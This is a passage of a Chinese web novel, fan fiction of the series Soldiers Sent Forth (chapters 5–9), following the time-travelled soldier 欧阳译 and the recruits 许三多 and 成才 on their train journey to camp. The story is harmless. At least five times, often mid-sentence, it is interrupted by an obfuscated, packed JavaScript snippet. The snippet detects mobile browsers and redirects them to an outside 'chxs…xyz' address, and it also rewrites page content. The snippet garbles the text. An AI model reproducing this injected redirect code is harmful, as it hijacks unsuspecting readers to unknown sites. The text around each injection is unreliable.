还有许三多纯粹的感激。——有对欧阳译这个人的,更多的是对周围变化的感谢。自从当了兵以来,好像大家都开始对他好了。爹也不骂他了,班长朝他笑,成才哥也不闹人了。 珍惜的摸了摸身上的军装,许三多偷偷笑了两声,又忙把嘴捂上,生怕吵醒了邻座。 火车碾过铁路,摇摇晃晃地前进着,亢奋了一个早上的新兵们在短暂的欢乐后,愈发疲惫,一个两个接连进入梦乡,车厢顷刻间就变得鸦雀无声。 这年头的车厢都很挤,欧阳译每次坐都觉得是折磨。但这次的几节车厢里都是部队的人,无论在人数还是管理上,都做得无可挑剔。从不在列车上入睡的欧阳译在这样的安静里,难得闭着眼假寐了会。然而到底是睡得很浅,在睡梦中也紧绷着神经。一滴水掉在地上都有可能把他惊醒。 “三呆子。” 因此,当陌生人经过时,他双眼霍然睁开,闪过一丝警觉的光,身体也立马调整成了随时随地起身战斗的模式,像一只紧绷的弓。 发出声音的人显然不觉得自己冒昧了,他只是看了睁开眼的欧阳译一眼,更多的注意力放在不远处睡着的指导员还有眼前的老乡身上,声音稍微又大了点:“三呆子,你饿不?车上有方便面,还有热水咧。” “我……”许三多被突然出现的成才吓一跳,还没来得及开口,就看到欧阳译默默的侧过身体,给他让了个座。 在成才的再三催促中,他只好放下书出来,刚走两步,又退了回去:“欧阳。” 一开口他就有点后悔,因为欧阳译已经闭上了眼。 “什么事?”欧阳译又睁开了眼。 见他神色如常,许三多的心落回了胸膛里,咧着嘴傻乎乎笑:“你吃方便面不?可好吃了。” “谢谢,我带了食物,不用。” “那……” 他还想问他要不要热水,他可以帮他打。 但性急的成才已经满心满眼都是方便面了:“快走,热水房都是人,再不去要排两小时队了。” 许三多只好闭嘴,乖乖的和成才走了。 ?? 5. 第 5 章 刚离开这节车厢,避开了人,成才猛的抓住许三多的衣领,威胁似的拽了拽:“诶,三呆子。跟你坐在一起的那人是啥来路?为啥班长和指导员让他和你坐?” 许三多难受的往旁边躲:“他叫欧阳译。” “还有嘞?” “他可好了。” “废话!”成才稍微高了嗓门,但下一秒,顾忌着其他人,又小了声,龇着牙威胁许三多:“三呆子,我问的是这个吗?” “我是问你知道他啥来路不?看着比当兵的还像当兵的。”他指的是进车厢看到的场景,同样是睡觉,指导员都已经睡歪了,负责他们的那个班长也低着脑袋,只有欧阳译,坐姿整齐得让他看了眼热。 成才在村里的时候,就以全村第一自居,在他们那个小小的村子里,别说大学了,就是高中毕业都少见,绝大部分没读完初中就选择了种地和打工。以成才的水平,绝对算得上是远近首屈一指的文化人。 这一点加上村长儿子的身份足以让他自傲,而自从选择了当兵,坐上了这列车,他的目标就开始有了转变。他不像许三多似的,到现在都还不懂当兵的意义。 为啥当兵,当然是为了混个身份回来好转业。 那怎么样才能叫好转业?当然是要多混点人脉。 是以,一上车,成才就对周围的人保持了足够的热情,对以前嫌弃的三呆子也不那么嫌弃了,毕竟,出门在外,老乡肯定是最好的,特别是三呆子这种人,绝对不会坑他。 他觉得他表现得很好了,之前在站台上,主动和他爹说再见,自觉站进未成形的队伍里,还得了招兵的那个班长一个好脸呢,结果,事情等上车之后就变了,许三多和那个叫刘强的人交换了位置,刘强告诉他们,他原来的邻座可有本事了。 “长得又高又壮,指导员拉着他上车的,嘴里还说什么大学生真难得。” 大学生? 成才的心立马一惊。 所以,刚到饭点,他就借着泡方便面的名义来打探敌情了。 可惜,三呆子就是三呆子,知道的还没他多,满口都是:“欧阳译对俺可好了。”“他一直拿书在看嘞。”“还给我借了一本,说到部队要考嘞。” “考?” 成才敏锐的抓住了这点:“哪本书?能借我看不?” 许三多犹豫了:“……书不是我的。” “那你问那个欧阳译。” “也不是他的。” “那是谁的?有话你能不能一次性说完?” “是指导员的。” 成才:“……” “那,那俺给你去问……” “你问啥问。”成才急眼了,捅了他一把,刚发誓的普通话瞬间就忘了。 “那,那你要俺干嘛?” 许三多可怜巴巴的看着他。 成才眼睛转了转:“你帮我盯着,看他看什么书。反正你记性不错,把书名背给我。”回头他自己找去。 “这样不好吧?” “有什么不好的?又没让你看内容。” 说得好像有点道理。 许三多吃完方便面,晕乎乎的回了座位。 这时,大部分人也都醒了,开始走动了。他看见欧阳译拿了个罐头还有一瓶水,在用餐。 何指导员也醒了,看着尖子生吃得这么简谱,心疼得不得了:“你怎么吃这个啊?我带你去餐车,好好补补。” “谢谢指导员,但真的不用了。这是我特地带的。”欧阳译三下五除二的干掉了罐头里的午餐肉,拿干净的底给他看:“这个量大,一盒就够饱了。” “你喜欢吃这个?”何洪涛趁机打听对方喜好,细节决定成败,老七肯定做不到他这么细心。 “比起喜欢,算是一种习惯,一般有一场大仗要打之前,我都会吃这个,久而久之就习惯了。” 何洪涛把那句打仗理解成了大事发生,以为自己理解了。 他并不知道眼前之人经历了一次离奇的穿越,从战争时期来到了和平年代,自然也不会知道,吃罐头是欧阳译那个团独有的习惯。 他们的团座似乎有缺粮恐惧症,每次大战之前,都要让战士们饱餐一顿,吃不下的人也必须硬吃,最后,在那座固若金汤的碉堡里,也存了足足可以过一整年的粮食。罐头作为最好保存的一种,自然囤得最多。欧阳译那时都已经吃得想吐了,可重生之后,再入军营,他还是习惯性地买了几盒罐头,塞在了行李的最上一层。 吃完,这个车里没有运动的地方,欧阳译就又从行李里拿了一本书出来。 刚刚那本书,他正好把结尾看完。 “带这么多书啊。”何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800488|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洪涛总算找到话题了,“你看的是什么?” “报告,是外国诗集。” 见他的目光放在书上,欧阳译递了过去。 旁边打开小册子继续看的许三多想起成才的吩咐,也竖起耳朵听着。 “博尔赫斯,看不出你还挺有文艺细胞。” 何洪涛已经在畅想自己的连队能出一个文武双全的兵了。 “我用什么才能留住你?”他捧着书,低低的念着书本里的诗句。 “我给你贫穷的街道、绝望的日落、破败郊区的月亮。 我给你一个久久地望着孤月的人的悲哀。 我给你我已死去的先辈,人们用大理石纪念他们的幽灵: 在布宜诺斯艾利斯边境阵亡的我父亲的父亲, 两颗子弹射穿了他的胸膛,蓄着胡子的他死去了, 士兵们用牛皮裹起他的尸体; 我母亲的祖父——时年二十四岁—— 在秘鲁率领三百名士兵冲锋,如今都成了消失的马背上的幽灵。 我给你我写的书中所能包含的一切悟力、 我生活中所能有的男子气概或幽默。 我给你一个从未有过信仰的人的忠诚。 我给你我设法保全的我自己的核心—— 不营字造句,不和梦想交易, 不被时间、欢乐和逆境触动的核心。 我给你,早在你出生前多年的一个傍晚看到的一朵黄玫瑰的记忆。 我给你你对自己的解释,关于你自己的理论, 你自己的真实而惊人的消息。 我给你我的寂寞、我的黑暗、我心的饥渴; 我试图用困惑、危险、失败来打动你。” 他的声音不高不低,车厢里有人毫不在意,也有人困惑着。 许三多在思考。他有点听懂又有点听不懂,觉得这首诗听着有点难过。 何洪涛倒是理解得很直白:“你有女朋友?” “报告,没有。” 他有点不信。 “这只是单纯的诗句。” 如果非要在诗句和现实里找一个因果关系的话。 欧阳译想,他或许是里面的诗人,在苦苦等一个道歉。 可这个不可能的道歉必须一个不可能道歉的人回答。 6. 第 6 章 “你的阅读面很广,这是好事。” 何洪涛点评了一句。 他略微提高了音量,不止对欧阳译,更是对所有人:“现在部队讲究专业化,不但对战士们的学历提出了更高标准,对你们未来的成长,也提出更高的要求。你们不要想着进了部队光训练就够了,就拿我们702团来说吧,我们是机步团,属于重装部队,枪械,火炮,坦克……你们要学的东西不会比在学校里学的东西少。在学校还有休息时间,但在部队,你们最好养成每天看书学习的习惯。学如逆水行舟,不进则退啊。” 他的目光扫视这里的每一张脸,“这句话,我活到这个岁数才真正理解,我希望你们能比我理解得更早,在部队里活得比谁都要拼命。” 他的话迎来了热烈的掌声,但这些话到底有没有进人的耳朵,自然仁者见仁智者见智。 直到掌声停下,还有人在用力鼓掌,鼓得有点突兀。 欧阳译回头,许三多才发现自己好像做错了什么,讪讪的将手放下了。 “对不起……” 他很小声的说。 “三多,部队里可没有对不起三个字。” “对……” 许三多习惯性道歉,然后又慌乱的闭上了嘴。 对何洪涛而言,这次征兵,最让他记忆犹新的就是欧阳译和许三多了,前者是太优秀,后者嘛…… 感觉不太好说。 人总是有优点的,许三多看着就是淳朴善良敦厚的人,一个通俗意义上的好人。如果部队下地方,他们看到这样的老乡,只会倍感亲切。 但,以何洪涛阅兵无数的眼力,这个人真不是当兵的料。 不知道史班长为什么要招这个兵。也就是他们师现在没有专门的部队养猪了,不然,搁以前,许三多妥妥是要被安排进养猪场的。 因为突兀的掌声,他的谈兴已经烟消云散了,把诗集还给欧阳译,告诉他想看其他书还可以和自己提之后,又安慰了许三多几句,他就找个借口离开了。 他好像又做错事了。 何洪涛的眼神,许三多很熟悉,从老师眼里,同学眼里,亲人眼里,他总能看见。 他想去找成才,但看了眼专心看书的欧阳译,许三多又不好意思打扰别人。 “你想上厕所吗?” 在对方第n次扭头时,盯着书的欧阳译突然问道。 “啊……” 被吓了一跳的许三多缓了两秒才意识到对方是在和他说话。 “俺……我不想。” 欧阳译的普通话很标准,像电视上的演员一样,许三多下意识的也用了有点蹩脚的普通话来回答。 “那你一直看着我的理由是?” “……对不起,我,我又做错事了。” 他连忙把自己的眼神移开,强迫自己落在手里的那本内务条例上。 “自省是好事,但一天只需要三次就够了。” 欧阳译清冷的声音从旁边传来,“小事不用急着说对不起,说太多,你会觉得你整个人都是错的。” 他好像是在教我道理? 许三多的头稍微偏了偏,但又下意识的忍住了。 “谢谢。”他很小声的说。 “这句倒是可以大声一点,多多的讲。” 欧阳译合上眼前的书本,在他面前扬了扬,“刚刚指导员在朗诵的时候,我看你一直在默念,你喜欢这个?” “没有。”许三多头摇得很快,“我就是觉得它写得很好,但我不知道它是什么意思。” “文学,是要靠人生来领悟的。你要是感兴趣我可以借你,反正我那还有其他书。”他的目光扫过许三多手里的内务条例,“这本你看完了?” “看完了。就是没懂什么意思。” “等到了部队,对着实物,你就能切身体会了。”欧阳译随口说:“我听指导员说,新兵入伍学得最多的就是这本,班长会随机抽背,你可以多看几遍加深记忆。” “哦。”许三多低下头,乖乖的听从欧阳译的指令开始重新学习。 即使他已经会背了。 但有人命令,他就会去执行。这是他从小到大所习惯的做法。 晚上吃饭时,成才又来找人了。 他不知在哪拿了一盒烟,笑盈盈的递到了欧阳译和许三多面前:“哥们,抽烟不?” 许三多被他吓死了:“成才,抽烟不好。” 欧阳译则直截了当的回绝:“谢谢,但我不抽。” “不抽就算了。”成才也就是客气一下,麻溜的把烟塞进了口袋,倚在座位旁边教育许三多:“三呆子,在部队,抽烟可是必须要学的,大家都抽你懂不懂。” 许三多疑惑的说:“……这个,内务条例上没写。” 成才被他噎住了,欧阳译倒忍不住噗嗤一笑。 “没有这个规定,可以选择抽或者不抽。” 他觉得不多解释一下,许三多没准会被这个认识的老乡带进沟里去。 “那我不抽,俺二哥就爱抽这个,俺爹天天骂他。”许三多立马表态,“成才,你也别抽了。” “大家都抽,不抽怎么跟人打交道。”成才对他的坚持嗤之以鼻,只觉得三呆子那颗不会变通的脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800489|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋真是没救了。 “可俺爹说……” “行了,别扯你爹了,你爹自己都抽呢,哪管你啊。”成才一听许三多这么说话就头大,而且他来这里也不是为了和许三多聊天的。 “你们去吃饭吗?”转向欧阳译时,他已经切换成了热情模式:“火车停靠的时候,他们送了好多盒饭上来,我还没吃过盒饭呢,还是别的地方的盒饭。闻着可香了,和我们那的味道一点都不一样。” “真的吗?”许三多兴奋的问。 他像个没被家里教育过的小孩,反诈骗意识几乎为零。 成才不在乎他的答案,他只盯着欧阳译。 “多谢提醒,但我自己带了。”这个人的表情在某种意义上和许三多一样好懂。故而欧阳译直接谢绝了他的邀请。 “你带了啥?”成才没有放弃,他的想法就是在下车前,和这个指导员眼里的红人打上交道,然后最好是自己能变成指导员眼里的新红人,“馒头?包子?那些都冷了,盒饭热乎,你想混着吃也没问题。” “不用。”欧阳译再度谢绝。“我有吃的。” 许三多在旁边期期艾艾的插嘴道:“他有罐头,是肉的。” “肉罐头?”这番解释让成才眼睛一亮,顺着杆子往上爬,“我没吃过肉罐头。战友,待会我拿饭来你们这,你的罐头可以给我吃点吗?” 毫无疑问,这招也是他从别人身上学到的。 “给。”欧阳译直接从包里拿了两盒。一盒递给成才,一盒递给旁边的许三多。 “这样不好吧,你没吃的了。” 相比许三多的拒绝,成才是麻溜收下,“兄弟,你人真好,听说你还认识指导员。回头到了部队,咱们就是真正的兄弟了。我们互相罩着。” “一个罐头就论兄弟倒也不必。”欧阳译干脆直说:“你今天上午就在打量我了。如果只是想知道指导员对我和颜悦色的秘诀,你可以主动去找他借点书,说自己想要提前学习准备。” 隐秘的小心思被拆穿,成才脸色一僵,但还是堆起了笑:“没有,我是真把你当兄弟。也谢谢兄弟你告诉我这个事情,我对部队啥都不懂,是该好好学了。” “我饿了,去吃饭了,许三多,待会见。” 他说完就拿着罐头走掉了,背影有点怒气和僵硬。 许三多担忧地望着他的背影。 “许三多。”旁边的人突然叫他。 “啊?” “不抽烟是好事。你脑子如果不灵泛,就别学坏习惯。” 欧阳译说的是抽烟,但许三多心里明白,他不止在说抽烟。 7. 第 7 章 到底是不放心成才,许三多打量着欧阳译的神色,小心翼翼的提出自己要去吃饭,还有,顺便去看看成才。 欧阳译不是那种小肚鸡肠的人,他对成才没什么多余的想法,想上进是人之常情,但他不喜欢自己被人明晃晃的当成往上爬的梯子,也不喜欢那种充满算计和评估的打量。 “也许你的老乡并不需要你多操心。” “……谢谢,可我还是想去。” “你想去就去吧。”欧阳译没拦着许三多,他就是觉得有点稀奇,一个是连想法都不敢露出来的人,一个是连得罪人的话都能诚实说出口的人,许三多和成才这样居然也能成为朋友。 “谢谢。谢谢。” 许三多也不知道自己应该说什么,他着急去安慰成才。 在他的认知里,成才没准已经躲到厕所哭起来了。这个人从小就要强,以前他书背得比他好,都能被他阴阳怪气一顿,但也会因为许三多是个闷葫芦,偷偷在他耳边说很多人的坏话,只是第二天还是会抛下许三多,去和那些被他评价‘不知道神气什么’的人勾肩搭背的来往。 许家的二哥许二和说成才这家伙鬼精鬼精的,一双眼睛从来不知道往下看,他愚笨的弟弟跟这种人玩,被卖了都不知道。但偶尔也会希望自己的弟弟能变成成才那种性格。不见得有多好,但平时不会被人欺负。 许三多想,他是活不成成才那样了。年少时,他偶尔会羡慕成才独生子的身份,村长因此对他宝贝得厉害,无论成才做了什么,都只有夸奖。 而三多这个名字在许家是多余的意思,许家生了三个,三个都是儿子,许老爹提起这个就烦,在他嘴里,养一个男娃是光荣,两个男娃也算凑合,三个男娃就是绝对的负担。 “烦死人!” 每次他爹这么说,许三多就会忍不住看一眼成才家的方向,然后换来他爹的一个大巴掌:“你眼睛乱瞅啥?” 也许我是这样才会和成才成为朋友吧,不是他希望的,而是我自愿贴上去的。 而现在,我为了成才,好像抛弃了一个对我有点好的人。明明爹说了,进了部队,不能跟着成才,要跟着欧阳译,要跟着史今班长……他们都没对我做过不好的事,成才哥以前却常常爱做。 许三多这样想着,自责,脚下的步子却没停。 只是,和他以为的要满世界找成才时,成才却好好的站在车厢里。 手里还拿着一本看上去很眼熟的小册子。 他到的时候,成才正在努力用刚学的普通话组织一场学习:“各位战友!我刚刚从我们何指导员那拿来了一本《内务条例》,我听指导员说,我们每个新兵进部队的第一件事,就是要把这个小册子背得滚瓜烂熟。提前背说不定有奖励。据我所知,已经有人找指导员借这本书在背了。” “指导员手里这书总共就两本,我这里是最后一本,现在,就由我念,大家来学习半小时如何?” 他不到一天已经和这个车厢的新兵混熟了,听他这么说,自然是一大群和成才关系好的人捧场表态说他们要学习。 许三多笨拙的站在成才的身后,看着他拿着条例抑扬顿挫的念着,忽然就不想过去了。他这么笨的人,过去会影响大家的气氛。 但他不动,越来越大的背书声也已经飘到了隔壁。 本来在休息的指导员何洪涛和新兵排长史今都被这个声音吸引过来了。许三多看得分明,一开始两个人脸上都带了点怒气,但亲眼看见车厢里的情况时,那点不愉快又变成了大大的惊喜。 当看见成才巧舌如簧的和两个让他说话都打结的厉害人物有来有往,甚至还有余韵在空隙里朝许三多调皮眨眼时,许三多又呆了。 像他小时候看见成才和对方那些所谓死敌亲亲我我的相处一样。 稀里糊涂的和车厢里的人一起为成才的无私分享鼓掌,稀里糊涂的被喜滋滋的成才拉住坐下,稀里糊涂听完指导员的气宇高昂的讲话,直到他们走,许三多还是不太懂成才的行为。 “怎么样,我不错吧?” 在别人面前不好自夸,成才把许三多带去了餐车,那本内务条例自然也被他悄悄带走了。 “什么不错?”许三多不懂。 成才:“……” “那个欧阳译不愿意为我介绍指导员,可我还是搭上关系了,还被指导员和排长都表扬了一遍。”成才得意洋洋,露出了两个小酒窝,“难道这不叫不错吗?” “可是……”许三多记性很好,原封不动的把欧阳译的话说了出来,“是欧阳先告诉你可以去指导员那借书的。” “这不能叫他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800490|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没帮你。” “动动嘴的事情叫帮嘞?”成才一生气,家乡话就蹦出来了。 许三多很想说,其实你刚刚也只是一直在动嘴皮,不过他觉得在这种事情上和成才说没意义,就说:“他还送了你一个罐头。” “你刚刚把它分给别人吃了。还撒谎说是家里带来的。这个……” 话还没说完,就被成才牢牢的捂住了嘴:“三呆子!你可闭嘴吧!” “你清醒点!我可是你老乡。指导员刚都说了,在战场,那老乡就能抵好多好多人。” “你难道指望那个眼睛朝天上看的大学生照顾?哼,别想了,他和我们可不一样。我们两个才是一个战壕的,我混得好,就是你混得好,你懂吗?” 他疯狂用食指戳许三多的胸膛,把后者戳得连连后退,贴到墙壁,无路可退时,总算自觉闭了嘴。 “对了,你的罐头也给我。” “啊?” “啊什么?一个车厢这么多人,每人一口怎么够吃的,你的当然要给我。刚刚不都说了吗?我们可是老乡。” “可……”许三多犹豫张嘴,成才直接打断:“你别可是了,那个大学生,根本不会在意这点罐头,我看他包里全是这种国外罐头。” “……” “你给不给?” 成才拔腿就要走。 “别!” 许三多产生了一种自己会被抛弃的错觉,连忙拉住了他,“我给。” “去吧。” 成才总算满意了。 不过,出门不到一天,他到底是忘了三呆子的呆有多么可怕。 欧阳译在听见许三多说要把他送他的罐头给成才发给车厢的人都愣了好几秒,还以为自己听错了。 “……你现在是在寻求我的同意?”他不确定的问他。 回答他的,是一个傻兮兮的笑容,带着很多讨好。 “我要是不同意怎么办?” 一张茫然惊慌的脸瞬间出现在他面前。 欧阳译:“……” “我开玩笑的,你拿吧。我已经把罐头给你了,怎么处理是你的事,你不用和我事事报备。” 他疲惫地捏了捏鼻梁,闭眼不去看许三多的笑脸。 那一排大白牙,属实闪得他头痛。 8. 第 8 章 列车经过两天一夜,终于停了下来。 但这还不是结束。 指导员对大家说:“现在我们还在民用火车站,离部队还有几个小时的车程。” 见大多数人的脸上写满了茫然,他解释了一下这是由于路线保密的原因,以及接下来大家会进入运送坦克的列车货柜里,等那高大的门一打开,一到军营,他们就能看见机枪,坦克等等一堆的好东西。 人群里,许三多悄悄的背着。 站他前面的成才听到了,张嘴想说点什么,但看见史今正朝他们走来调整队列,又闭上了嘴,抬头挺胸,企图把周围人的精气神全给碾压下去。 史今果然就看见了,朝他微微一笑。 成才心里兴奋极了,觉得今天就是他成功生涯的第一步。 货柜很高,从小地方来的新兵们望着抬头都看不见顶的柜子,除了感叹还是感叹。几百号人钻到柜子里也不觉得窄,还挺宽的,大家伙坐在里头就议论,这柜子都这么大,坦克得有多高多大啊? 何洪涛被他们这幅没见过世面的模样夸爽了,又多了几句嘴:“这是专门运坦克的柜子,正好让你们这批新兵赶上了空缺,平时可没这么好运气。你们的上一届上上届,坐的是卡车。” “……是卡车。” 不知道幸与不幸,欧阳译又一次坐在了许三多旁边。 他不想在昏暗的光线里又一次见到许三多的大白牙,所以强忍着没回头。 车厢在动,震动贴着腿部传来。 自然比火车的震动强,欧阳译旁边的人因此上半身不稳摔了好几回,引得周围一阵细小的埋怨。 他到底为什么要来当兵…… 欧阳译面无表情的把旁边贴上来的脸推开。 他熟悉比这更强的震动,战争中的炮火,每一发打过来,都是地动山摇。 他也近距离接触过坦克,是个移动的铁疙瘩,没有何洪涛嘴里的帅气,肢体鲜血还有泥土,所有人都恨它,没有人会像现在一样,为它的存在兴奋,欢呼。 人都是会下意识遗忘的。欧阳译原本以为自己一定忘不了战场上的事情,但那些细节,终究还是磨灭在了平常的日子里,直到现在,才被一点点拾起。 团座说他以前的领导有段名言。 “不拉屎,会憋死我们。不吃饭,活七八天。不喝水,活五六天。不睡觉,活四五天。琐事养我们也要我们的命,家国沦丧,我们倒已经活了七八年。” 他背得很认真,欧阳译彼时也听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800491|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得认真,但正在体会,却是在当下。 又开了几个小时,车辆渐渐开始放慢了速度,外面也不再静悄悄。 何洪涛笑眯眯的喊他们听声音。 嗡嗡嗡的,是部队里的直升机。 轰隆隆的,是部队里的新坦克。 一群人都兴奋得不行,好些人贴着铁皮,想听得再清楚点。 虽然有点没军纪,但好脾气的何指导员没有指责他们。史今排长也没有。 他看着这些比他更加年轻的新兵们,回想的是自己的曾经。 那时候,他的兴奋和他们现在也没什么不同。第一次出远门,第一次进军营,第一次见到在老家无法轻易见到的一切,看着那些整齐的队伍,一排排的摩托,坦克,机枪,保家卫国四个字,伴随着热血沸腾,突然就开始具象化了。 他希望这节车厢里的人都能体会到这种使命感,特别是…… 目光移到似乎不太适应车厢摇晃而无暇顾及外界的许三多,史今的心,又开始发沉了。 与此同时,七连的高连长正打算带着他最喜欢的班副伍六一去接他最喜欢的班长。 顺便抢在其他人之前,代表七连,给新兵留下难以磨灭的印象。 这叫阳谋。 9. 第 9 章 “今天不凑巧啊,三连长突然接到命令去团部报告了,其他连的人也各有各的事,这迎接新兵的人可就剩下你和我了,伍六一,这回招兵的地方可是你老家,你小子是不是很高兴?” 高城大步流星的往前走,言语间尽显春风得意。 他最喜欢的兵紧紧跟在高城身后,像最忠诚的尾巴,闻言,那张晒得有些黑的脸蓦然变色,刚刚还嬉皮笑脸的人脸上严肃得像装了块棺材板,硬邦邦的回答道:“我没有很高兴。” 听出他话里的不愉快,高城停下脚步,转头看他,训道:“伍六一,这知道你的人明白你是不想走裙带关系,不了解你的人还以为新兵里有你一辈子的死敌呢。招兵到你老家是上头的政策,上头的命令和你,和你那些老乡,能有什么关系?往大了说,我国领土上每一个人都是你同胞兄弟姐妹,往小了说,你脑子里不能总想着避嫌,要是那个兵素质好,我把他招进七连有什么不可以?你伍班副还怕老乡抢了你位置?” 高城是故意的。 果然,这句话一说,伍六一就急了:“我有什么怕的!他们要是表现得好,我高兴还来不及呢。比我强也没关系,我每天练,总有一天能赶上。” 迎着高城似笑非笑的目光,他那张棺材脸也不好意思继续摆下去,双手作揖,和自己的上司求饶道:“我错了,我错了还不行吗?我保证,我对他们,一定和蔼可亲,鞍前马后,和他们父母没有区别。” “去你的,尽跟我耍贫。”对这个回答,高城的答案是一脚踹过去,但被对方敏捷躲开了。 高城也就装装样子,哪里是真踹,眼见前头来了白帽子,他立马恢复了一本正经的模式,“伍六一,我和你说,我们这个装甲侦察连的训练……” 等人一走远,他就揽过自家班副的肩膀,细细叮嘱他:“听好了,我再嘱咐你一次,这次新兵连虽然是我接手,但我没时间一一顾及,你和史今这次都在新兵连,一个呢,是要做出成绩,新兵越出色,你们俩的履历越漂亮,留下来的几率就越大。另一个呢,就是给我多抓点好兵回来。特别是新兵连里那个大学生兵,这人还没到呢,就因为高学历已经在整个团部出名了,年纪轻轻就已经拿到了顶尖学府的双学位,光学历这点就超越新兵连的99.9%。好几个连都盯着这人呢。就算训练不行,脑子聪明的人也完全可以胜任文职岗位。而且史今都来电话了,这个欧阳译,看着就是个好兵。” “老何那家伙我了解,他肯定一上车就走怀柔政策了,眼下这人没准已经被老何哄得不着四六了,既然这是个强人,你和史今就得想办法把他的脑子里的红三连洗干净,明明白白的告诉他,钢七连最强,你懂了吗?” “你放心,我懂。” 伍六一难得没反驳。 他刚当班副,再加上成绩优秀,全师都知道钢七连有这么一号拼命三郎式的人物,并不愁能不能留下来。他虽然直,但真不是个愣头青,他很清楚,高城提这个,主要是为了史今,他已经是三期士官了,转业的时间也快到了。 三转四是个坎,过了就一帆风顺,出了点岔子就直接完蛋。 现在部队的要求越来越高,很多地方都已经不要初中学历了,老兵想要留下,就必须证明他的价值。作为一个班长,手底下的兵越出色,就越能体现他的价值。 伍六一和连长的目标一样,也希望史今能留下来。 * “大家站起来,列队。我们要以最出色的面貌出现在大家眼前。” 宽敞的货柜里,何洪涛和史今忙着给新兵列队。 他有自己的小心思,知道老七肯定会来,所以特地把欧阳译放在中间,结果,刚整理完一个新兵的衣领,转头就看见欧阳译被史今拉着站排头了,后者不好意思的朝他笑了一下,但意思也很明显。 他想让自家连长一眼就看到这个兵。 何洪涛:“……” 算了,算了,人家表现得好,被盯上是迟早的事,回头还是得让老三自个努力,多去找团长聊天。 有人喜欢站前面,就有人抗拒站前排的。成才趁着这个空挡,拉着自家老乡许三多就水灵灵的站到了第一排,他还留了个小心眼,让许三多站欧阳译旁边,这样,他既站了中间,又不至于被欧阳译比下去。——因为中间站了一个许三多。有许三多衬托,他百分百的精神面貌都能被抬到百分之一千。 史今看到了这一幕,下意识蹙眉,想要去调整,可车已经停了,车门处传来响动,他只好和指导员一起站在旁边,重新恢复了部队里令行禁止的状态。 货柜被缓缓拉开,刺眼的阳光洒了进来,习惯了黑暗的众人都下意识的眯了眯眼睛,许三多更是用手挡了一下阳光。 这样的货柜不止他们一个,新兵们挨个下车,高城站在人群里迎接着他们,一边搜寻史今在哪。 人刚锁定,还没来得及走过去,坦克营的车就开过来了,也不知道他们怎么想的,离货柜近得可怕,枪管对准了货柜上的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800492|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一时间,除了站得笔直的欧阳译,还有一直偷偷盯着他,想和他较劲的成才,前排的很多人都下意识的往后仰了仰,被这么个大家伙擦到,非得掉下来不可。许三多也一样,可他往后仰的姿势格外不同,他顺便把手举起来了。 这下,挨骂的第一对象就从坦克营变成了他。 “那个兵!你给我把手放下!!!” 高城都顾不上什么给新兵留下好印象的事情了,气急败坏的就从对面走了过来,边走还边骂坦克营:“把你们那破坦克开走!别在这里碍事。” “你干什么呢你!”他指着许三多,直接开骂,“你以为你自己很幽默啊?” “你下来!” 许三多怯怯的缩在角落里,这是他常用的防御姿势。 但这个动作却看得高城更恼火:“你下来!” 史今见状不好,先行跳下车,朝许三多招手,示意他赶紧下来。 班长的命令比连长好使。 许三多笨手笨脚的企图下车,结果他没爬过这么高的车,一跳就把连长扑了个正着。 画面太美,新兵连的人吃足了瓜,何洪涛心道不好,成才则是绝望的闭上了双眼。 果然,高城的火更大了:“你慌什么?把头抬起来!” 